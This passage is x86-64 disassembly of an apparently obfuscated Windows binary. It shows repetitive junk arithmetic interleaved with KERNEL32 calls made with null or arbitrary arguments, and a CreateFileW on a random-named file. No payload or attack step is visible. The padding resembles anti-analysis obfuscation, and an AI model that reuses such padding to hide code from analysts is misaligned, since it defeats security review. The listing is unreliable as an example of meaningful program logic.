mov rax, qword [rsp + 0x14c00]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x49b]
sub eax, ecx
mov byte [rsp + 0x161], al
movzx eax, word [rsp + 0x2344]
mov word [0x14036a068], ax
mov edx, 0x151c
mov rcx, qword [rsp + 0x13d88]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x9e64], eax
mov eax, dword [rsp + 0x7dd0]
mov ecx, dword [rsp + 0x9a80]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x130b0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x820c]
mov ecx, dword [rsp + 0x9d64]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9f8c], eax
lea rax, [rsp + 0x773]
mov qword [rsp + 0x14cb0], rax
movzx eax, word [rsp + 0x1168]
mov rcx, qword [rsp + 0x137b0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2ba8], ax
lea rax, [rsp + 0x8fd8]
mov qword [rsp + 0x14cb8], rax
mov qword [rsp + 0x20], 0
mov r9d, 0x185c
mov r8d, 0x2a9f
mov edx, 0xbb
mov rcx, qword [rsp + 0x12bf0]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0xa014], eax
mov rax, qword [rsp + 0x13608]
mov ecx, dword [0x140369b78]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13e78]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14110]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9848]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13e28]
mov dword [rcx], eax
lea rax, [rsp + 0x9730]
mov qword [rsp + 0x14cc0], rax
lea rcx, [rsp + 0x4b910]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0x9c48], eax
mov rax, qword [0x140369ee0]
movzx eax, byte [rax]
imul eax, eax, 0x80
mov byte [0x1403525ba], al
movzx eax, word [rsp + 0x2bf8]
mov rcx, qword [rsp + 0x13960]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2c00], ax
mov rax, qword [rsp + 0x13758]
mov eax, dword [rax]
mov dword [rsp + 0xa018], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileTime]
mov eax, dword [rsp + 0x752c]
mov ecx, dword [0x1403624d4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9e1c], eax
lea rax, [rsp + 0x2d1]
mov qword [rsp + 0x14cc8], rax
mov rcx, qword [rsp + 0x133e8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movsx eax, word [rsp + 0x2094]
mov rcx, qword [rsp + 0x13468]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2008], ax
mov rax, qword [0x140369ba0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14560]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x13500]
mov word [rcx], ax
lea rax, [rsp + 0x49c]
mov qword [rsp + 0x14cd0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x144f0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x13c10]
mov qword [rsp + 0x14cd8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14cd8]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x14158]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x14140]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rax, [rsp + 0x9ce4]
mov qword [0x14036a070], rax
lea rax, [rsp + 0x6798]
mov qword [rsp + 0x14ce0], rax
mov rax, qword [rsp + 0x131a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9354]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x954c], eax
mov rax, qword [rsp + 0x14240]
mov eax, dword [rax]
mov ecx, dword [0x14036246c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x6278], eax
mov rax, qword [rsp + 0x130d8]
movzx eax, byte [rax]
mov byte [rsp + 0x77f], al
lea rdx, [rsp + 0x430c8]
mov rcx, qword [rsp + 0x131c8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9d94], eax
movzx eax, word [rsp + 0x1eb0]
movzx ecx, word [rsp + 0x2c38]
imul eax, ecx
mov word [rsp + 0x2ba8], ax
lea rax, [rsp + 0x9e30]
mov qword [rsp + 0x14ce8], rax
mov eax, dword [rsp + 0x9b48]
mov ecx, dword [rsp + 0x99e4]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14388]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13b28]
mov ecx, dword [rsp + 0x78f4]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9eb0], eax
mov rax, qword [rsp + 0x13e20]
mov eax, dword [rax]
mov ecx, dword [0x140369de0]
add ecx, eax
mov eax, ecx
mov rcx, qword [0x140369cc8]
mov dword [rcx], eax
lea rax, [rsp + 0x441]
mov qword [rsp + 0x14cf0], rax
mov rax, qword [rsp + 0x13e18]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14ba0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x13508]
mov word [rcx], ax
lea rax, [rsp + 0x757]
mov qword [rsp + 0x14cf8], rax
mov rax, qword [rsp + 0x136a0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x12ac]
sub eax, ecx
mov word [rsp + 0x2c20], ax
lea rax, [rsp + 0x9e18]
mov qword [rsp + 0x14d00], rax
mov eax, dword [rsp + 0x9d40]
mov ecx, dword [rsp + 0x9e48]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x137a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13c60]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x137c]
and eax, ecx
mov word [rsp + 0x1f38], ax
mov rax, qword [rsp + 0x14bf0]
movzx eax, byte [rax]
imul eax, eax, 0x50
mov byte [rsp + 0x2dd], al
mov rax, qword [rsp + 0x13028]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9e2c]
or ecx, eax
mov eax, ecx
mov rcx, qword [0x140369dd0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x146e8]
mov rcx, qword [rsp + 0x137f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13cf8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13b30]
mov eax, dword [rax]
mov dword [rsp + 0xa01c], eax
mov rax, qword [rsp + 0x13d60]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x9354]
shr eax, cl
mov dword [rsp + 0x8e20], eax
mov rax, qword [rsp + 0x13200]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x104]
shl eax, cl
mov byte [rsp + 0x747], al
lea rax, [rsp + 0x2b94]
mov qword [rsp + 0x14d08], rax
mov rax, qword [rsp + 0x13ca8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8f14]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x5610], eax
lea rax, [rsp + 0x9d84]
mov qword [rsp + 0x14d10], rax
mov rcx, qword [rsp + 0x13240]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x9ef8], eax
mov rax, qword [rsp + 0x146c8]
mov rcx, qword [0x140369ff0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x8b20], eax
mov rax, qword [rsp + 0x149a8]
mov rcx, qword [rsp + 0x144f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [0x1403624ec], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov eax, dword [0x140369c28]
mov ecx, dword [rsp + 0x9d14]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14228]
mov dword [rcx], eax
mov rax, qword [rsp + 0x148f8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2c94]
add eax, ecx
mov word [rsp + 0x27a4], ax
mov rax, qword [rsp + 0x14418]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x141a0]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x13a58]
mov byte [rcx], al
lea rax, [rsp + 0x2c50]
mov qword [rsp + 0x14d18], rax
mov rax, qword [rsp + 0x14c00]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13980]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x74f], al
mov eax, dword [rsp + 0x8c68]
mov ecx, dword [rsp + 0x9dd8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x57fc], eax
lea rax, [0x1403624d4]
mov qword [rsp + 0x14d20], rax
mov rax, qword [rsp + 0x13e98]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x702]
add eax, ecx
mov rcx, qword [rsp + 0x12f28]
mov byte [rcx], al
lea rax, [rsp + 0x2ce0]
mov qword [0x14036a078], rax
lea rax, [rsp + 0x6658]
mov qword [rsp + 0x14d28], rax
xor r8d, r8d
mov edx, 0x80
lea rcx, [rsp + 0x4beb0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0xa020], eax
mov eax, dword [rsp + 0x9cfc]
mov ecx, dword [rsp + 0x9cf0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14020]
mov dword [rcx], eax
mov rax, qword [rsp + 0x139a0]
mov eax, dword [rax]
mov dword [rsp + 0xa024], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9f9c], eax
mov eax, dword [0x140369f88]
mov ecx, dword [rsp + 0x9ff0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9e2c], eax
movzx eax, word [rsp + 0x17fc]
movzx ecx, word [rsp + 0x2bd0]
imul eax, ecx
mov word [rsp + 0x2cb0], ax
lea rax, [rsp + 0x3d2]
mov qword [rsp + 0x14d30], rax
lea rdx, [rsp + 0x430c8]
mov rcx, qword [rsp + 0x13d30]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9f08], eax
mov eax, dword [0x140362480]
mov ecx, dword [rsp + 0x9e08]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x9a10], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x14188]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x9c24]
shl eax, cl
mov dword [rsp + 0x74a4], eax
mov rax, qword [rsp + 0x12ec8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2008]
sar eax, cl
mov rcx, qword [0x140369e38]
mov word [rcx], ax
mov edx, 0x274
mov rcx, qword [rsp + 0x13e10]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x9ff4], eax
mov rax, qword [0x140369bf0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x749]
xor eax, ecx
mov rcx, qword [rsp + 0x12ef8]
mov byte [rcx], al
mov rax, qword [rsp + 0x13128]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x72b]
and eax, ecx
mov rcx, qword [rsp + 0x132e8]
mov byte [rcx], al
movzx eax, word [rsp + 0x2344]
mov word [rsp + 0x2ce4], ax
mov eax, dword [rsp + 0x9688]
mov ecx, dword [0x1403624d0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x69c8], eax
lea rax, [rsp + 0x99e4]
mov qword [rsp + 0x14d38], rax
mov rax, qword [rsp + 0x143b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8ac4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13ad8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14300]
mov rcx, qword [rsp + 0x14b58]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x734c], eax
mov rax, qword [rsp + 0x13d18]
mov eax, dword [rax]
mov dword [rsp + 0xa028], eax
movzx eax, word [rsp + 0x2bcc]
mov rcx, qword [0x140369de8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x14218]
mov word [rcx], ax
movzx eax, byte [rsp + 0x585]
mov byte [0x140363f5f], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9ecc], eax
mov dword [rsp + 0x20], 0x879
mov r9d, 0x2a65
mov r8d, 0x1a5c
mov edx, 0x253a
mov rcx, qword [rsp + 0x132f0]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0xa02c], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9f40], eax
mov rax, qword [rsp + 0x13d28]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5330]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x5fe8], eax
mov rax, qword [0x140369e98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9e44]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6278], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalShrink]
mov rax, qword [rsp + 0x136f8]
mov eax, dword [rax]
mov dword [rsp + 0xa030], eax
mov rax, qword [rsp + 0x14308]
mov rcx, qword [rsp + 0x140d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x14388]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14c78]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x133c8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x13538]
mov word [rcx], ax
lea rax, [rsp + 0x769]
mov qword [rsp + 0x14d40], rax
mov rax, qword [rsp + 0x13098]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x13dc8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x28b4], ax
mov rax, qword [rsp + 0x14418]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x757]
add eax, ecx
mov byte [rsp + 0x4fe], al
mov rcx, qword [rsp + 0x133f8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x134a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9a28]
add ecx, eax
mov eax, ecx
mov rcx, qword [0x140369e18]
mov dword [rcx], eax
mov eax, dword [rsp + 0x527c]
mov ecx, dword [rsp + 0x702c]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13c48]
mov dword [rcx], eax
movzx eax, word [rsp + 0x2c3c]
mov rcx, qword [rsp + 0x145d0]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2ca4], ax
lea rax, [rsp + 0x243]
mov qword [rsp + 0x14d48], rax
mov eax, dword [0x140369c28]
mov rcx, qword [rsp + 0x14348]
mov qword [rsp + 0x14d50], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14d50]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x141e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x147e0]
mov eax, dword [rax]
mov dword [rsp + 0xa034], eax
mov rax, qword [rsp + 0x14670]
mov rcx, qword [rsp + 0x14c20]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x9d84], eax
mov eax, dword [rsp + 0x9cc4]
mov ecx, dword [rsp + 0x9bec]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9c90], eax
movzx eax, byte [rsp + 0x76b]
mov byte [rsp + 0x780], al
mov rax, qword [rsp + 0x13c60]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14c48]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x140369cb8], ax
mov eax, dword [0x140362474]
mov ecx, dword [rsp + 0xa034]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13928]
mov dword [rcx], eax
mov eax, dword [rsp + 0x62f0]
mov ecx, dword [rsp + 0x95fc]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x7df0], eax
mov eax, dword [rsp + 0x99e8]
mov ecx, dword [rsp + 0x8754]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13d18]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14c98]
mov rcx, qword [rsp + 0x13bd0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x13ca8]
mov dword [rcx], eax
lea rax, [rsp + 0x752c]
mov qword [rsp + 0x14d58], rax
movsx eax, byte [rsp + 0x184]
mov rcx, qword [0x140369e00]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x74b], al
lea rax, [rsp + 0x2b74]
mov qword [rsp + 0x14d60], rax
mov rax, qword [rsp + 0x132b0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x16f0]
sub eax, ecx
mov rcx, qword [rsp + 0x13568]
mov word [rcx], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessId]
lea rax, [rsp + 0x23a]
mov qword [0x14036a080], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.iyeY04b6W0SjS
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x14d68], rax
lea rax, [0x140369e08]
mov qword [rsp + 0x14d70], rax
mov rax, qword [rsp + 0x138d0]
mov rcx, qword [rsp + 0x12f00]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9c9c], eax
movzx eax, word [rsp + 0x16f0]
cdq
mov ecx, 0xf62
idiv ecx
mov rcx, qword [rsp + 0x14c28]
mov word [rcx], ax
mov rax, qword [0x140369db0]
movzx eax, byte [rax]
mov byte [rsp + 0x781], al
mov eax, dword [rsp + 0x9d7c]
mov ecx, dword [rsp + 0x9c70]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13e50]
mov dword [rcx], eax
lea rdx, [rsp + 0x42b18]
mov rcx, qword [rsp + 0x13648]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9f70], eax
lea rax, [rsp + 0x5414]
mov qword [rsp + 0x14d78], rax
mov rax, qword [rsp + 0x14270]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x140369de0]
shl eax, cl
mov dword [rsp + 0x8034], eax
mov eax, dword [rsp + 0x57e8]
movzx ecx, al
mov eax, dword [rsp + 0x59fc]
sar eax, cl
mov dword [rsp + 0x9c10], eax
movzx eax, byte [rsp + 0x2ce]
movzx ecx, byte [0x140363f5c]
or eax, ecx
mov byte [0x1403525c3], al
lea rax, [rsp + 0x16f0]
mov qword [rsp + 0x14d80], rax
mov rax, qword [rsp + 0x13d38]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8ad4]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14a20]
mov dword [rcx], eax
mov dword [rsp + 0x4c330], 0x11c
lea rax, [rsp + 0x9eb0]
mov qword [rsp + 0x14d88], rax
mov rax, qword [0x140369e38]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x147b8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x13e38]
mov word [rcx], ax
movsx eax, byte [rsp + 0x754]
movsx ecx, byte [rsp + 0x749]
sub eax, ecx
mov byte [rsp + 0x491], al
movzx eax, byte [rsp + 0x161]
mov rcx, qword [rsp + 0x14bf0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x3da], al
movzx eax, word [rsp + 0x2bec]
movzx ecx, word [rsp + 0x2bf4]
add eax, ecx
mov rcx, qword [rsp + 0x13b20]
mov word [rcx], ax
mov rax, qword [rsp + 0x13ff8]
mov eax, dword [rax]
mov dword [rsp + 0xa038], eax
lea rax, [0x140362498]
mov qword [0x14036a088], rax
mov rax, qword [rsp + 0x146b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9b3c]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12eb8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14428]
mov ecx, dword [rsp + 0x9f30]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9cd8], eax
lea rax, [0x1403624d4]
mov qword [rsp + 0x14d90], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9bc8], eax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x1c13
mov r9d, 0x3075
mov r8d, 0xdd17367
mov edx, 2
mov rcx, qword [rsp + 0x13a78]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x9b0c], eax
movzx eax, byte [rsp + 0x74f]
mov rcx, qword [rsp + 0x14090]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x13120]
mov byte [rcx], al
lea rdx, [rsp + 0x42aa8]
mov rcx, qword [rsp + 0x13e30]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa03c], eax
lea rax, [rsp + 0x1588]
mov qword [rsp + 0x14d98], rax
mov eax, dword [0x14036245c]
mov ecx, dword [rsp + 0x9cb8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x5c30], eax
mov edx, 0x1cb2
mov rcx, qword [rsp + 0x133a8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x9a4c], eax
mov eax, dword [rsp + 0x9f60]
mov dword [rsp + 0xa040], eax
mov rax, qword [rsp + 0x13768]
mov rcx, qword [rsp + 0x13160]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13c48]
mov dword [rcx], eax
xor r8d, r8d
mov edx, 4
lea rcx, [rsp + 0x4add0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0xa044], eax
mov eax, dword [0x140369f08]
mov rcx, qword [rsp + 0x146b0]
mov qword [rsp + 0x14da0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14da0]
mov eax, dword [rax]
sar eax, cl
mov dword [0x140369c8c], eax
movzx eax, byte [rsp + 0x72d]
cdq
mov ecx, 0xba
idiv ecx
mov byte [rsp + 0x708], al
mov rax, qword [rsp + 0x138a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2bb8]
shl eax, cl
mov word [rsp + 0x275c], ax
movsx eax, byte [rsp + 0x731]
movsx ecx, byte [rsp + 0x32c]
xor eax, ecx
mov rcx, qword [rsp + 0x149f0]
mov byte [rcx], al
movzx eax, word [rsp + 0x2c9c]
mov word [rsp + 0x2ce8], ax
mov qword [rsp + 0x20], 0
mov r9d, 0x1eb8
mov r8d, 0x53f
mov edx, 0x85
mov rcx, qword [rsp + 0x13140]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x9a60], eax
mov rax, qword [rsp + 0x14538]
mov ecx, dword [rsp + 0xa018]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x57fc], eax
mov rax, qword [rsp + 0x130d0]
mov rcx, qword [rsp + 0x13b28]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9bd8], eax
mov rax, qword [rsp + 0x14c10]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14948]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x52f], al
mov rax, qword [rsp + 0x13738]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13538]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x13810]
mov word [rcx], ax
mov rax, qword [rsp + 0x13620]
mov eax, dword [rax]
mov dword [0x14036a090], eax
mov rcx, qword [rsp + 0x12be8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x9df4], eax
mov rax, qword [rsp + 0x14b28]
mov eax, dword [rax]
mov dword [rsp + 0xa048], eax
mov eax, dword [0x140362498]
mov ecx, dword [rsp + 0x9a30]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x734c], eax
mov rax, qword [rsp + 0x12d68]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x777c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x5284], eax
movzx eax, byte [rsp + 0x739]
mov byte [rsp + 0x782], al
movzx eax, word [0x1403624d8]
mov rcx, qword [rsp + 0x13e18]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1878], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x14da8], rax
mov qword [rsp + 0x20], 0
mov r9d, 0xc0b
mov r8d, 0x2802
mov edx, 0x40
mov rcx, qword [rsp + 0x12c88]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x9ec8], eax
mov rax, qword [rsp + 0x14ae0]
mov rcx, qword [rsp + 0x143c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x8870], eax
mov eax, dword [0x140362498]
mov ecx, dword [rsp + 0x9d84]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x139d8]
mov dword [rcx], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetStdHandle]
mov eax, dword [rsp + 0x940c]
mov dword [rsp + 0xa04c], eax
mov rax, qword [rsp + 0x13f78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9d84]
add ecx, eax
mov eax, ecx
mov rcx, qword [0x14036a070]
mov dword [rcx], eax
mov rax, qword [0x140369f20]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa010]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9e08], eax
movsx eax, word [rsp + 0x2c8c]
movsx ecx, word [rsp + 0x1b34]
shl eax, cl
mov rcx, qword [rsp + 0x13268]
mov word [rcx], ax
lea rax, [rsp + 0x459]
mov qword [rsp + 0x14db0], rax
mov rax, qword [rsp + 0x13288]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2ce]
xor eax, ecx
mov rcx, qword [rsp + 0x14258]
mov byte [rcx], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x14db8], rax
lea rax, [rsp + 0x2b8c]
mov qword [rsp + 0x14dc0], rax
mov eax, dword [rsp + 0x6234]
movzx ecx, al
mov eax, dword [rsp + 0x9bd0]
shr eax, cl
mov dword [rsp + 0x9688], eax
mov rax, qword [0x140369e78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9618]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14178]
mov dword [rcx], eax
lea rax, [rsp + 0x747]
mov qword [rsp + 0x14dc8], rax
lea rax, [rsp + 0x1454]
mov qword [0x14036a098], rax
xor r8d, r8d
mov edx, 4
lea rcx, [rsp + 0x4beb0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x9b5c], eax
mov rax, qword [rsp + 0x13608]
mov rcx, qword [0x140369f10]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9cdc], eax
lea rax, [rsp + 0x5498]
mov qword [rsp + 0x14dd0], rax
mov rax, qword [rsp + 0x13b00]
mov rcx, qword [rsp + 0x145f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa028], eax
mov rax, qword [rsp + 0x14058]
mov ecx, dword [rsp + 0x9bdc]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13028]
mov dword [rcx], eax
lea rax, [rsp + 0x1588]
mov qword [rsp + 0x14dd8], rax
mov qword [rsp + 0x20], 0
mov r9d, 0x2600
mov r8d, 0x3133
mov edx, 0x3e
mov rcx, qword [rsp + 0x14170]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0xa02c], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa050], eax
mov rax, qword [rsp + 0x14548]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14c40]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x14d40]
mov byte [rcx], al
lea rax, [rsp + 0x59f4]
mov qword [rsp + 0x14de0], rax
mov eax, dword [rsp + 0x5610]
mov ecx, dword [rsp + 0x9c44]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9d0c], eax
lea rax, [rsp + 0x512]
mov qword [0x14036a0a0], rax
movsx eax, word [rsp + 0x2cc8]
movsx ecx, word [rsp + 0x11d8]
sub eax, ecx
mov word [rsp + 0x12cc], ax
lea rax, [0x1403525b6]
mov qword [rsp + 0x14de8], rax
movzx eax, word [rsp + 0x18f4]
mov rcx, qword [rsp + 0x14c48]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x12f18]
mov word [rcx], ax
lea rax, [rsp + 0x9960]
mov qword [rsp + 0x14df0], rax
mov rax, qword [rsp + 0x131d0]
mov rcx, qword [rsp + 0x14210]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x13d68]
mov dword [rcx], eax
lea rax, [rsp + 0xa048]
